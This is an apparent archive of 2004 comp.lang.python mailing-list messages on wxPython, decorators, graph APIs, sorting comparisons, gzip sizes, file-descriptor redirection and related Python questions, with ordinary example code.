------------------------ # ok, first, the code below is actually in this __init__ function class main_window(wxFrame): def __init__(self, parent, id, title): wxFrame.__init__(self, parent, -1, title, size = (650, 500), style=wxDEFAULT_FRAME_STYLE|wxNO_FULL_REPAINT_ON_RESIZE) # first the left panel # ------------------- self.MyLeftPanel = wxPanel(splitter,10004) #<--a random number I used # didn't want to use -1 self.MyLeftPanel.SetDimensions(0, 0, 100, 220) self.leftSizer=wxBoxSizer(wxVERTICAL) # the sizer is born self.MyLeftPanel.SetSizer(self.leftSizer) self.MyLeftPanel.SetAutoLayout(true) # then add the static text # ------------------- self.aNewID=wxNewId() self.testLabel = wxStaticText(self.MyLeftPanel,self.aNewID,'test label') self.leftSizer.Add(self.testLabel) Here's how I code the event handler: ------------------ def OnNodeChanged(self,event): item = self.tree.GetSelection() if (self.tree.ItemHasChildren(item) == 0): #self.testLabel.SetLabel(self.tree.GetItemText(item)) self.testLabel.SetLabel('test') # The commented-out line works too.. the static text does change # to the static of the node --- very nice, if it weren't # for the error when you close the app. Any suggestions would be great. -S p.s. Here's the kicker: Try running C:\Python23\Lib\site-packages\wx\samples\wxProject\wxProject.py yourself. (but first remove, say, the editor on the right side, add a panel and a sizer,and then add a statictext control and add a tree handler to set the label). And it will work fine. No error dump when you close it! I double and triple checked that I am doing the same thing as in the original file. I don't want to dump my own py file, and start over with the original sample file. i've written too much probably for that. ---------------------------- WX: wxPython WIN32-2.5.1.5 OS: Windows XP PYTHON: From python.org, Version2.3 From zanesdad at bellsouth.net Wed Sep 1 18:44:58 2004 From: zanesdad at bellsouth.net (Jeremy Jones) Date: Wed, 01 Sep 2004 18:44:58 -0400 Subject: ANN: YAPDL In-Reply-To: <2osh02-e6i1.ln1@eskimo.tundraware.com> References: <2osh02-e6i1.ln1@eskimo.tundraware.com> Message-ID: <413650EA.4050600@bellsouth.net> Tim Daneliuk wrote: > TundraWare Inc. Press Announcement > For Immediate Release > --------------------- > > Announcing: Yet Another Python Derived Language (YAPDL) > --------------------------------------------------------- > > Since it has been almost a whole week since someone has proposed > another "Python Like" language, TundraWare Inc. is pleased to do > its part in announcing its very serious intention to consider the > possibility of perhaps, maybe, someday, creating and releasing > "Yet Another Python Derived Language" (YAPDL). > > Major YAPDL Benefits Include: You forgot to mention: - overcoming Python's HUGE, nearly insurmountable performance difficulties by optimizing it to the point that anything smaller than a 3.0GHZ processor will burst into flames upon attempting to execute it. We estimate that 99% of our time will be devoted to optimizing while 1% will be dedicated to implementing YAPDL. It may not work well, but at least it'll be fast! From tchur at optushome.com.au Sun Sep 26 03:14:54 2004 From: tchur at optushome.com.au (Tim Churches) Date: Sun, 26 Sep 2004 17:14:54 +1000 Subject: Access to MS SQL from Linux? Message-ID: <200409260714.i8Q7Estu029899@mail02.syd.optusnet.com.au> An embedded and charset-unspecified text was scrubbed... Name: not available URL: From pm_mon at yahoo.com Thu Sep 2 21:24:42 2004 From: pm_mon at yahoo.com (Paul Morrow) Date: Thu, 02 Sep 2004 21:24:42 -0400 Subject: Are decorators really that different from metaclasses... In-Reply-To: <10jeuh7o69surc0@corp.supernews.com> References: <412D9F1E.6000809@yahoo.it> < <10jeuh7o69surc0@corp.supernews.com> Message-ID: Jeff Shannon wrote: > Arthur wrote: > >> "Jeff Shannon" wrote in message >> news:10jcsuh7k4bfl41 at corp.supernews.com... >> >> >>> (I'm sure that you'll argue that the presence of those "magic" variables >>> is enough distinction between the two radically-different blocks of >>> code; I'm also pretty confident that very few people will agree with >>> you, and that nobody with a reasonable understanding of Python internals >>> will be among those few people.) >>> >> >> >> It seems to me if the defining distinction is a different assignment >> operator rather than magic associated with naming, then much of >> objections I >> am hearing to what Paul is generally suggesting seems to fall away. >> >> I like what Paul Rubin suggested for decorators: >> >> :: >> >> It seemed to me that many folks, and certainly including some >> sophisticated >> users - witness the decorator wiki - felt more than comfortable with some >> declarative/definitional syntax within the function body. The discussion >> was stalled mostly by the realization that Guido had definitively >> ruled it >> out, not on the basis that there was general concensus that the >> approach had >> no appeal - intuitive and otherwise. >> >> > > I agree with what Paul Rubin says there, as well. However, I don't > believe that he was considering syntax that *looks* like > otherwise-ordinary assignment to "magic" names, which are indicated only > by naming convention. Docstrings don't look like part of the function > body, because they don't look like otherwise-normal statements. > Suitably-indicated decorators (even @decorator) inside a def wouldn't > (IMO) look like part of the function body, because they too would not > look like otherwise-normal statements. On the other hand, this "magic" > proposal of Mr. Morrow's *does* look like otherwise-normal statements -- I think that this "they look just like a normal statement" business needs to be examined. To someone who has not seen Python before, an assignment to a magic variable does /not/ look the same as an assignment to a normal variable. Of course they have similarities (they both have a name to the left of an equals sign, and an expression to the right), but the double-underscores surrounding the magic variable name represent a /huge/ syntactic difference between the two. Assemble a random collection of 20 assignment statements --- half assigning to normal variables and half to magic variables --- and show them to a bunch of non-python developers. I'd bet the majority will see two distinctively different syntactic structures; not just one. And to someone who /does/ know Python, the difference is even greater. Because they not only see the different syntax, they are also aware of the different semantics. So to the Python developer, there is an obvious difference on two levels (syntactic and semantic). And speaking of the different semantics, we should remember that assigning to a magic variable is *never* a normal operation. There are always consequences to doing so, magical consequences [*]. When we are reading someone's code and run across such an assignment, it would likely be a mistake to treat it as just another variable assignment. It will (nearly) always be more than that. That's probably why they (magic variable names) were given such an in-your-face, sticks-out-like-a-sore-thumb look. So I believe that --- whether you're a pythonista or not --- assignments to magic variables really don't 'look' like normal statements. They look like they do something special (because they do). Paul [*] Well, unless you count __author__ and __version__, which aren't really officially magic variables, although they are recognized by pydoc, so I guess there are even consequences to assigning to them. From nytimes at swiftdsl.com.au Mon Sep 20 09:00:13 2004 From: nytimes at swiftdsl.com.au (huy) Date: Mon, 20 Sep 2004 23:00:13 +1000 Subject: Python Webstart ? In-Reply-To: References: <414acdc8$0$2404$61ce578d@news.syd.swiftdsl.com.au> Message-ID: <414ed45d$0$2405$61ce578d@news.syd.swiftdsl.com.au> > But as a user > I really don't care that something is being packaged in a particular > way so it can be compatible with the packaging on other machines. > In fact as a user, I really don't care what programming language > is used for any programs, and I don't want hurdles. Most of my users don't know as much as you do. What's an rpm ? what's a programming language ? The users I know only know how to surf the web. > Of course as a developer I do care about all that stuff, but trying > to expose it to users doesn't achieve anything. I'm not sure what you are trying to say here. Are you against webstart or not ? Can't get easier then clicking on a link to install a program. Huy From ville at spammers.com Fri Sep 24 15:25:42 2004 From: ville at spammers.com (Ville Vainio) Date: 24 Sep 2004 22:25:42 +0300 Subject: [OT] "Pre-announcement" of Python-based "computing appliance" project. References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com> <89adnWTWC6JVscncRVn-uw@giganews.com> Message-ID: >>>>> "Richard" == Richard Hanson writes: Richard> undecidable things left unsaid for now. It is a commonly Richard> accepted thesis that the universe is evolving following Richard> some, possibly ultimately unknowable, immutable set of Richard> laws. Humans *do* seem to do Is it? For some reason or another, many seem to believe that quantum mechanics provides some blissfull exit from the immutable set of laws (and deterministic universe). It's a place where God throws dice every time a particle hits another. Yes, it's absurd and entirely unpythonic, according to the law of "If the implementation is hard to explain, it's a bad idea." -- Ville Vainio http://tinyurl.com/2prnb From adalke at mindspring.com Thu Sep 9 19:04:18 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Thu, 09 Sep 2004 23:04:18 GMT Subject: Standard graph API? In-Reply-To: References: Message-ID: Magnus Lie Hetland wrote: > Hm. How would the algorithms work without a standard API? There are certain things the different graphs have in common. For example, 1. "test if two nodes/edges are the same" 2. "test if two nodes/edges are identically colored" 3. "list of all nodes adjacent to a node" 4. "list of all edges from a node" (either directed or undirected) 5. "get the appropriate weight" Different graphs have different ways to do this. My molecular graphs do this with 1. atom1 is atom2 2. atom_compare(atom1, atom2) 3. atom.xatoms 4. atom.bonds 5. atom.weight # though that's the atomic weight and # nothing to do with flow :) An adjacency graph might do this with 1. node1 is node2 2. node1 == node2 3. edge_table[node] 4. -- not defined -- 5. weights[node] The ways to get the properties differ but the things you do with them do not change. I can concieve then some way to generate code based on a template, like this dfs = make_code(dfs_template, args = "node, handler", bond_neighbors = "node.xatoms", on_enter = "handler.enter(node)") .. make the graph ... class Handler: def enter(self, node): print "Hi", node dfs(graph, Handler()) or for an adjacency graph, something like dfs = make_code(dfs_template, args = "bond_table, node, handler", get_neighbors = "bond_table[node]", on_enter = "handler.enter(node)") ... dfs(bond_table, start_node, handler) Obviously it would need some sort of templating language. Wonder if anyone's ever make one of those before. ;) > To clarify, by API I here mean a protocol, i.e. a definition of how a > graph is supposed to behave -- *not* a standard implementation. I think we're talking about the same thing -- the sorts of things you can do with nodes and edges, and not a statement that a node or edge has a given property or method. > I've been thinking a bit about the use of object adaptation here; I > think it would be quite perfect. One possibility would be to use the > functionality of PyProtocols, but that's hardly standard... But it > would allow you to do stuff like > > graph = AdjacencyMap(someStrangeMolecularGraph) > # or graph = adapt(someStrange..., AdjacencyMap) > graphAlgorithm(graph) The problem is all the conversion from/to my graph form to the standard graph form. Either the adapters have to be live (so the modification to the standard form get propogated back to my graph) or there needs to be conversions between the two. Both sound slow. >>David Eppstein wrote: >> >>>I would strongly prefer not to have weights or similar attributes as >>>part of a graph API. I would rather have the weights be a separate dict >>>or function or whatever passed to the graph algorithm. Me: >>An alternative, which is both intriguing and sends alarm bells >>ringing Magnus > Sounds like a fun combination ;) There the idea for me would be find_flow = make_code(flow_template, args = "source_nodes, sink_nodes, weight_table", edges = "node.out_edges", weight = "weight_table[edge]") or to use a weight function find_flow = make_code(flow_template, args = "source_nodes, sink_nodes, weight_func", edges = "node.out_edges", weight = "weight_func(edge)") > Wouldn't it be *much* better to use the established (but not standard) > mechanism of object adaptation, as championed in PEP 246 and as > implemented and extended upon in PyProtocols? Not really. Consider the events that could occur in a DFS. There's - on enter - on exit - on backtrack and probably a few more that could be used in a general purpose DFS. But I might need only one of them. With a PE 246 adapter I can adapt my graph to fit the algorithm, but if I don't need all of those events there's no way to adapt the algorithm to fit my needs. (Yes, even though I'm using Python I'm still worried about efficiency.) > (If only adapt() could become a standard library function... ;) Perhaps someday, when people get more experience with it. I've not yet used it. >>There would need to be some standards on how the graph is used, like >>"two nodes are the same iff 'node1 is node2'" > > > Yeah. Or one might want to allow equality to determine this, so that > the implementer could decide how to do it (nodes might be dynamically > created front-end objects after all). I found that 'is' testing for my graphs is much better. At the very least, it's a lot faster (no method call overhead). > It seems there are at least a few people who are interested in the > general concept, though. In case there is any merit in the idea, I've > set up a temporary wiki at > > http://www.idi.ntnu.no/~mlh/python-graph-wiki.cgi > > I'll post a separate announcement about it. It said "warning, in use, you might want to wait about 10 minutes before editing." I think it's been about 10 minutes now. :) Andrew dalke at dalkescientific.com From maney at pobox.com Wed Sep 22 13:06:12 2004 From: maney at pobox.com (Martin Maney) Date: Wed, 22 Sep 2004 17:06:12 +0000 (UTC) Subject: So I guess PyUI is long abandonded? What else is there? References: <864d3709040918140135a95917@mail.gmail.com> Message-ID: Aahz wrote: > Which wiki? If you're talking about the one on python.org, you need to > go through the UserPreferences link to get yourself an account, but Did that, it found the account I'd setup some time past, so maybe it was just a lost or expired cookie. I wouldn't have expected a "membership required to edit" setting to have shown up as "immutable", but I take it that's just Moin's funny way of handling that case. -- Hebb's dictum: If it isn't worth doing, it isn't worth doing well. From tim.peters at gmail.com Sun Sep 19 01:49:46 2004 From: tim.peters at gmail.com (Tim Peters) Date: Sun, 19 Sep 2004 01:49:46 -0400 Subject: need help defining Constant memory requirement In-Reply-To: References: Message-ID: <1f7befae040918224962758776@mail.gmail.com> [Jani Yusef] > I have a HW problem stated as shown at the top of the solution. The > thing is is that I am not 100% sure wtf constant memory means. It means the amount of memory needed is independent of input size. > Well, I think I do but I am confused. Does my solution use contant > memory in terms of the length of the list i? The "constant" in "constant memory" means you don't get to use more memory for larger inputs, so "in terms of the length of the list" isn't valid. Your solution requires creating a dict with n-1 elements, and so requires O(n) memory, not constant memory. > If so why not Because the amount of memory needed increases as the input size increases. > and how could I change it to be so? With the approach you've taken, you cannot. You need a different approach. Since finding such an approach is apparently the point of the exercise, I'm not going to spell that out. As a hint, you need to *exploit* all the information you've been given about the inputs. Note that the solution you have works for any input sequence, whether or not the values range from 1 to n-1, and whether there are 0, 1, 2, ..., or millions of duplicates. You only *need* a solution that works in the case of an input sequence containing a permutation of 1 .. n-1, plus exactly one duplicate. > I am sure the solution is O(n) since the list must only iterated once and the > dictionary is O(1), correct? Yes, it's O(n) (expected) in time, but also O(n) in space. > Thanks for the help!! > > #You are given a sequence S of n numbers whose values range from 1 to n-1. > #One of these numbers repeats itself once in the sequence. > #(Examples: {1 2 3 4 5 6 3}, {4 2 1 2 3 6 5}). > #Write a function that finds this repeating number using a constant > #amount of memory and linear time. > import sys > i=[1,3,4,5,3] Note that this example doesn't meet the input requirements -- you're not required to get the right answer for this one. [1, 3, 4, 2, 3] meets the requirements, though. > tally={} > for a in i: > if tally.has_key(a): > print "repeated number is "+str(a) > sys.exit(0) > else: > tally[a]=1 > print "no repeat found" You're not required to get the right answer in the case of no duplicates either. FYI, it is possible to solve the problem with a constant number of memory locations, assuming a memory location is big enough to hold one integer. That isn't *really* constant-memory either, though, because holding one integer requires a number of bits proportional to log(n), which also increases as the input size increases; I suspect your instructor is overlooking that detail. From xju at telstra.com Thu Sep 2 03:25:50 2004 From: xju at telstra.com (Trevor Taylor) Date: 2 Sep 2004 00:25:50 -0700 Subject: __doc__ of current function? Message-ID: <62e3db01.0409012325.4d42bb45@posting.google.com> Hi, I thought it would be simple but couldn't figure it out, nor find it addressed already: I can do: def validatePassword(p): 'do something' print validatePassword.__doc__ ... can I write a general docOfCurrentFunction() function so that I can rewrite it: def validatePassword(p): 'do something' print docOfCurrentFunction() Thanks, Trevor From peter at engcorp.com Fri Sep 10 13:54:43 2004 From: peter at engcorp.com (Peter Hansen) Date: Fri, 10 Sep 2004 13:54:43 -0400 Subject: making windows apps In-Reply-To: References: Message-ID: Zach Shutters wrote: > I am new to python and working my way through the van Rossum tutorial. I > am cursios though about if you can program windows with python? Yes, certainly. If you follow the newsgroup, you'll often see discussions of various ways of doing GUI programming, including one that was just started and to which I just posted a small sample program just now. > I know I can search google but i figured I > would see what some people who know the language well would recommend. Well, there's always people here willing to answer questions, but it is *really* appreciated when people do take the time to check with Google first. For example, it would easily have found you this page http://www.metaslash.com/brochure/tutorial/ or this one http://www.python.org/doc/faq/gui.html. > One last thing, in order for a program I write in python to run on > someones computer, they have to have the python interpreter installed? Yes, at some point, unless you use Jython to turn the program into Java .class files in which case they need the Java runtime installed instead. > And > if so, wouldn't most people not have it installed since they wouldn't be > programming in it. Most people who are interested in distributing their Python programs either don't mind having their users download Python (it's trivially easy to do) or they package up their program with tools such as py2exe, which create executables that bundle the interpreter. They also generally use other tools such as InnoSetup to build nice installers. The end users cannot tell the difference and don't have a clue what language their application is programmed in, so you shouldn't worry about this issue much. > Hopefully no one will get pissed off and give some > smart ass comment about how stupid my question is (sorry but most of the > time thats what I get when I post in a newsgroup lol) This newsgroup is different. On the other hand, it is *really* appreciated when people take the time to research a little themselves, so it's a good thing you are doing the tutorial now. Consider also reading through the FAQ at the www.python.org site (skim it quickly the first time, as you won't understand many of the entries, but you'll remember some of them anyway and can go back later when you know more and you'll understand much more of them). You might also keep Google Groups in mind, so that you can quickly check the archives for this newsgroup when you are thinking of asking questions in the future. It's *really* appreciated. ;-) -Peter From adalke at mindspring.com Tue Sep 21 16:54:25 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Tue, 21 Sep 2004 20:54:25 GMT Subject: Python 3.0, rich comparisons and sorting order In-Reply-To: References: Message-ID: <5y04d.1704$g42.492@newsread3.news.pas.earthlink.net> Carlos Ribeiro wrote: > I know it, and that's exactly my question -- if this is going to be > the way to do it in Python 3000. Today (2.4) there are FOUR ways to > make it work: passing a compare function as an argument to sort(), > passing a key funciton as an argument to sort(), implementing a > __cmp__ function, or implementing the rich comparison methods. If the > main goal of Py3K is to have only one obvious way to do it, what one > is it going to be? I think that the best way should be the simplest > one: make sort() work whatever is passed to it in a reasonably way, > and decide to have one preferred way to extend its behavior. Get rid of __cmp__. Then there will be: one native way to compare two objects to each other, one way to override how to compare two objects one way to do a Schwartzian transform And regarding the last, "practicality beats purity." > Now that's a harder question :-) Any ordering for multiple types is > going to be arbitrary -- but it still may be considered reasonable if > it reflects our common sense when it comes to ordering. In some cases, > it's still a matter of choice, but once decided, it's deterministic, > and that's what it takes for sorting. So long as you allow user-defined comparisons then there's no guarantee that it's consistent, much less deterministic. I can define __cmp__ to do whatever I want. >>> class Strange: ... def __cmp__(self, other): ... if isinstance(other, float): return -1 ... else: return 1 ... >>> x = Strange() >>> 10 < x < 5.0 True >>> or for something non-deterministic class WaitCompare: def __init__(self, val): self.val = val def __cmp__(self, other): while 1: page = urllib.urlopen("http://whitehouse.gov/").read() if page.find(self.val): break return cmp(self.val, other) L = [WaitCompare("Andrew Dalke"), WaitCompare("America's New Communist Leaders"), WaitCompare("Life discovered on Mercury")] L.sort() Andrew dalke at dalkescientific.com From godoy at ieee.org Tue Sep 14 13:47:34 2004 From: godoy at ieee.org (Jorge Godoy) Date: Tue, 14 Sep 2004 14:47:34 -0300 Subject: up with PyGUI! References: Message-ID: pitkali writes: > Jorge Godoy wrote: > >> Indeed... But first, I'm curious about how it looks. I don't >> understand why people make GUI projects without any screenshot available >> on their own website. How can we see how it looks without downloading, >> it? > > It says explicitly what toolkits are used. Don't you know how gtk2 looks > like? Yes, I do, but I don't know how it is supposed to look like from this toolit perspective... If I wanted everything exactly like GTK2, I'd probably use it. -- Godoy. From heikowu at ceosg.de Sun Sep 19 08:07:55 2004 From: heikowu at ceosg.de (Heiko Wundram) Date: Sun, 19 Sep 2004 14:07:55 +0200 Subject: Math errors in python In-Reply-To: <200409190039.23955.gherron@islandtraining.com> References: <200409190039.23955.gherron@islandtraining.com> Message-ID: <200409191407.55925.heikowu@ceosg.de> Am Sonntag, 19. September 2004 09:39 schrieb Gary Herron: > That's called rational arithmetic, and I'm sure you can find a package > that implements it for you. However what would you propose for > irrational numbers like sqrt(2) and transcendental numbers like PI? Just as an example, try gmpy. Unlimited precision integer and rational arithmetic. But don't think that they implement anything more than the four basic operations on rationals, because algorithms like sqrt and pow become so slow, that nobody sensible would use them, but rather just stick to the binary arithmetic the computer uses (although this might have some minor effects on precision, but these can be bounded). Heiko. From fredrik at pythonware.com Sun Sep 19 04:35:10 2004 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sun, 19 Sep 2004 10:35:10 +0200 Subject: uncompressed size of .gz file References: <1095339670.41498e96865f0@correo.cujae.edu.cu> Message-ID: "frankabel at tesla.cujae.edu.cu" wrote: > What python function give me the uncompressed size of .gz file like > "gzip -l name_of_compress_file". the size is stored as a 32-bit integer at the end of the file. to get it, you can use something like: def getsize(gzipfile): import struct f = open(gzipfile, "rb") if f.read(2) != "\x1f\x8b": raise IOError("not a gzip file") f.seek(-4, 2) return struct.unpack(">> print getsize("Python-2.4a3.tgz") 38758400 hope this helps! From ialbert at mailblocks.com Fri Sep 10 11:55:14 2004 From: ialbert at mailblocks.com (Istvan Albert) Date: Fri, 10 Sep 2004 11:55:14 -0400 Subject: Electronic voting feasibility In-Reply-To: References: <-_CdnSvxZtZcPdzcRVn-iw@giganews.com> <28KdnThSO7DtM9zcRVn-pQ@powergate.ca> <8PWdnfxkGeIFWNzcRVn-qQ@giganews.com> Message-ID: Peter Hansen wrote: > By the way, so far I've been able to independently confirm > a lot of what is said there, from news reports and other > sites. But perhaps it's just a conspiracy? In certain seasons certain kinds of articles just taste better and thus sell better, it is not a conspiracy per se, it just wise business to write on some topics. Looking at what they claim, that in 2003 they discovered a back door affecting every evoting machine, a backdoor that requires a 2 digit code to overwrite the votes stored in the system, moreover even a year later every system has this same flaw... I don't find this credible, not that I think that evoting is particularly secure, but then the election last time around was decided by hanging chads and an oddly printed voting sheet. What kind of e-voting problem is be worse that that? I can think of another 'hysteria' of a very similar flavor. Anyone here remember the Y2K bug that was supposed to end life as it is? Istvan. From duncan-news at grisby.org Thu Sep 16 07:55:08 2004 From: duncan-news at grisby.org (Duncan Grisby) Date: Thu, 16 Sep 2004 13:55:08 +0200 Subject: Python Oddity - print a reserved name References: <6f402501.0409150404.75292b5a@posting.google.com> <1gk5yjn.12y25b4detf0pN%aleaxit@yahoo.com> Message-ID: <430ba$41497f1c$51604868$10948@nf1.news-service-com> In article , Michael Hudson wrote: >aleaxit at yahoo.com (Alex Martelli) writes: > >> This kind of thing, however, is also true of CPython whenever it's >> accessing "outside" objects through attributes; and for .NET >> implementations I believe that CLR compliant languages are not >> allowed to forbid certain method names along their interfaces to >> other components. I'm not sure how CORBA's standard Python bindings >> address the same problem, how it's met in various interfaces to >> XML-RPC, COM, SOAP, and other distributed-objects or foreign-objects >> APIs. > >I'm fairly sure the approach taken by CORBA bindings is the good old >"append an underscore" hack. I don't know what happens if an >interface declares methods called both "print" and "print_", but >giving the author a good kick seems an appropriate response... CORBA prepends an underscore, so it would use "_print". Identifiers in CORBA IDL are not permitted to start with an underscore, so there is no possibility of a clash with another IDL defined identifier. If the Python mapping appended an underscore for clashes, it would be susceptible to the issue you mention. Cheers, Duncan. -- -- Duncan Grisby -- -- duncan at grisby.org -- -- http://www.grisby.org -- From narshe at gmail.com Thu Sep 23 23:52:24 2004 From: narshe at gmail.com (Josh Close) Date: Thu, 23 Sep 2004 22:52:24 -0500 Subject: Access to MS SQL from Linux? In-Reply-To: <002501c4a14b$77fe4c30$7f00a8c0@scl01.siliconcreation.com> References: <002501c4a14b$77fe4c30$7f00a8c0@scl01.siliconcreation.com> Message-ID: <4a0cafe204092320524141f844@mail.gmail.com> On Thu, 23 Sep 2004 16:58:16 +0800, Joe Wong wrote: > Sybase.DatabaseError: Msg 2, Level 5701, Line 1851877443 > > I am using MSSQL 2000 server, is this a problem? > What is your code for Sybase? I have it working just fine, and it's the best module I've found that's free. Freetds is a complete pile though. I run into freedtds errors constantly..... I think the problem is actually mssql, and freetds can't handle all the crazy random things it does to prevent non-M$ products from using it....... oh well. -Josh From in.aqua.scribis at nl.invalid Tue Sep 7 19:44:36 2004 From: in.aqua.scribis at nl.invalid (Peter Kleiweg) Date: Wed, 8 Sep 2004 01:44:36 +0200 Subject: unexplained behavior of tkMessageBox.askyesno (2) In-Reply-To: References: Message-ID: Peter Kleiweg schreef: > Is this a bug I should report? Is it a bug in Python, or in tk? I already found a bug report about this on SourceForge: [ 807871 ] tkMessageBox.askyesno wrong result -- Peter Kleiweg L:NL,af,da,de,en,ia,nds,no,sv,(fr,it) S:NL,de,en,(da,ia) info: http://www.let.rug.nl/~kleiweg/ls.html From benevilent at optusnet.com.au Sun Sep 19 07:21:21 2004 From: benevilent at optusnet.com.au (benevilent at optusnet.com.au) Date: Sun, 19 Sep 2004 21:21:21 +1000 Subject: memory allocation Message-ID: Hey, I'm trying to debug the memory allocation in an embedded use of the Python interpreter. The longer I leave my program running the more memory it consumes. The total number of objects in the system is not increasing (many are being allocated and deallocated). Using mtrace I have established that the only memory which is not being freed is that which is allocated at Objects/obmalloc.c:429. It appears to be allocating new arenas in proportion to it's running time. I don't have an in-depth understanding of Python's object allocator. Does anybody have any ideas as to what the problem may be? Thanks, Laurie From exarkun at divmod.com Tue Sep 28 16:00:59 2004 From: exarkun at divmod.com (exarkun at divmod.com) Date: Tue, 28 Sep 2004 20:00:59 GMT Subject: execl() and inheritied streams In-Reply-To: <4159b1d6$1@nntp.zianet.com> Message-ID: <20040928200059.29723.1313259427.divmod.quotient.7362@ohm> On Tue, 28 Sep 2004 12:53:18 -0600, "\"Erik Johnson\" wellkeeper" <"dot>com"@bag.python.org> wrote: >Hi, > > I am trying to use Python to remap stdout and stderr to a log file for > an exec()'ed program. > The following code seems to work fine for the script itself, but my > expectation was that the exec'ed program would inherit its STDIN and STDOUT > and so would be printing to the log file also. Unfortunately, that is not > the case: the print statements in the spawned process come back to the > screen. So... I'm a little puzzled and am not finding information on how to > remap the file descriptors other than to set sys.stdin, sys.stdout, > sys.stderr. > Replacing sys.stdout, sys.stderr, and sys.stdin only effects code which goes through the sys module to find those streams. The new process you execl() is very unlikely to do this, since your instance of the sys module will be destroyed by the execl() call :) Instead, you need to twiddle file descriptors: f = file('out.txt', 'a') os.dup2(f.fileno(), sys.stdout.fileno()) os.dup2(f.fileno(), sys.stderr.fileno()) Now 1 and 2 (stdout and stderr, respectively) refer to a different file object down in the file descriptor table, far away from your process. These survive execl() and so can have an effect on the executed process. Jp From Scott.Daniels at Acm.Org Sun Sep 5 09:38:05 2004 From: Scott.Daniels at Acm.Org (Scott David Daniels) Date: Sun, 05 Sep 2004 06:38:05 -0700 Subject: 2 different Python distributions on same Windows box? In-Reply-To: <1ua_c.794$Gi5.373@trndny05> References: <1ua_c.794$Gi5.373@trndny05> Message-ID: <413b1bf9$1@nntp0.pdx.net> David Lees wrote: > I currently have PythonWin 2.3.4 on my Windows 2000 box, but would like > to try the Enthougt 2.2.3 distribution. Are there any tricks to making > these 2 distributions co-exist? Are there any potential problems? > > TIA > > David Lees They can be play nicely together. Multiple 2.3.? (or 2.2.? or ...) is tougher. As long as the major or minor versions differ you are OK. The one thing you need to be sure of is your environment variables and search paths. A mixture of versions in those will cause you heartache (if python23 is on your path and you are running 22, for example). A pythonpath environment variable might be problematic. I run 2.1, 2.2, 2.3, and 2.4 on the same box. Just go for it and ask if issues crop up. -Scott David Daniels Scott.Daniels at Acm.Org From jdhunter at ace.bsd.uchicago.edu Thu Sep 30 11:15:38 2004 From: jdhunter at ace.bsd.uchicago.edu (John Hunter) Date: Thu, 30 Sep 2004 10:15:38 -0500 Subject: Dynamically Generating a Graph in Python In-Reply-To: (Istvan Albert's message of "Thu, 30 Sep 2004 10:34:42 -0400") References: <47f7cc78.0409300618.332a3278@posting.google.com> Message-ID: >>>>> "Istvan" == Istvan Albert writes: Istvan> Tim Henderson wrote: >> I want to dynamically generate a graph in python that would be >> displayable on a web page. What would be the best way to do >> this? Istvan> See if you can run graphviz in the background. Istvan> http://www.research.att.com/sw/tools/graphviz/ I think he means the other kind of graph, aka a plot/chart. JDH From askari at addressNonValide.com Wed Sep 1 09:33:32 2004 From: askari at addressNonValide.com (Askari) Date: Wed, 01 Sep 2004 13:33:32 GMT Subject: Instruction at "0x00FC3D70" use memory address "0x00000000". Can't be "read". References: Message-ID: Peter Hansen wrote in news:KaCdnQsNs7tuXKjcRVn-vA at powergate.ca: On 01 sept. 2004, you wrote in comp.lang.python: > Askari wrote: > >> Yesterday, ALL code in python work and nothing when I close(finish) a >> code. Today, when I close, some raise this windows error : >> >> Instruction at "0x00FC3D70" use memory address "0x00000000". Can't be >> "read". >> Click on "OK" to exit program. >> >> Why this error, today and not before today? > > Does it do this after you reboot the computer? (You're > using Windows, right?) > > -Peter I find the problem! I search in my memory (brain) "what new on my conputer?"... and ...I find! I installed "OmniPage Pro 11.0" on my computer yesterday. But I think : "Can't be this installation..." But YES it's "OmniPage Pro 11.0" who bug with python!!!; I uninstall "Omnipage", restart, and try a "bug" code, and I have no problem!!! (I reintall Omnipage and the problem to appear again) (I unintall Omnipage and the problem disappear) (I reintall Omnipage and the problem to appear again) (I unintall Omnipage and the problem disappear) (I reintall Omnipage and the problem to appear again) ... N.B. The problem appear even Omnipage not running (but intalled). Moral : DON'T install "OmniPage" and Python, esle, some python code crash on exit! But, I don't understand how OmniPage can affect python?! Mystery... Askari From jbors at mail.ru Tue Sep 14 14:50:31 2004 From: jbors at mail.ru (Dmitry Borisov) Date: Tue, 14 Sep 2004 22:50:31 +0400 Subject: avi file duration, frame-count etc In-Reply-To: <2qoog9F12856dU1@uni-berlin.de> Message-ID: From: "Rgemini" Date: Tue, 14 Sep 2004 18:36:11 +0100 Subject: avi file duration, frame-count etc > > Does anyone know of a simple Python module that would let me read out the > playing duration of an avi file? Or a way of getting the information using > the os? I use WinXP & Win98. > http://pymedia.sourceforge.net/ Dmitry/ From martin at v.loewis.de Fri Sep 3 03:32:30 2004 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Fri, 03 Sep 2004 09:32:30 +0200 Subject: compiling to python byte codes In-Reply-To: <4137a850$1@news.unimelb.edu.au> References: <4136b2b5$1@news.unimelb.edu.au> <4136bbf3$0$197$9b622d9e@news.freenet.de> <6f402501.0409020321.44fd443@posting.google.com> <41375f6a$0$13076$9b622d9e@news.freenet.de> <4137a850$1@news.unimelb.edu.au> Message-ID: <41381e0a$0$24804$9b622d9e@news.freenet.de> Maurice LING wrote: > Can I feed a python source file into compile(), line by line, and expect > it to generate a working .pyc file? compile() requires the complete source code. However, it might be that the complete source code is just a single statement, or a single function exectuting a single statement. Did you read the documentation of compile()? It would have told you that compile() does not generate .pyc files at all. Instead, it generates code objects, and you use the marshal module to save them into .pyc files. > I suppose my intended use is to be > able to handle python codes written at run time, to execute python codes > line by line, in a python program. Single-step execution is an issue entire independent of generating Python bytecode, or source code. Regardless of how you have generated the Python bytecode (directly, or through source code), Python supports single-stepping of byte code (on a line-per-line-of-source-code basis). However, when you generate Python code (source or byte), and you know you are going to need single-stepping, you should put single-stepping *into the generated code*. I.e. if your input language reads action 1 action 2 action 3 you generate def program(): starting() do_action_1() step_done() do_action_2() step_done() do_action_3() step_done() Then, a proper implementation of step_done() will allow for user interaction, giving you single-step capabilities. > I was thinking that it may be simpler to say, write a PHP-to-Python > compiler which compiles PHP into an intermediate form, which is then > converted into python bytecodes, rather than trying to automate source > code conversion from PHP to Python. Well, PHP is just an off-hand > example, it may be COBOL or Pascal. Any ideas? No. Generating source code is *always* simpler. There are three reasons why one would not generate source code even though it is simpler: - you don't have a compiler for the source code available on the target system. This is the compile-to-JVM example. - the compiler for the source language is gives inefficient byte code, 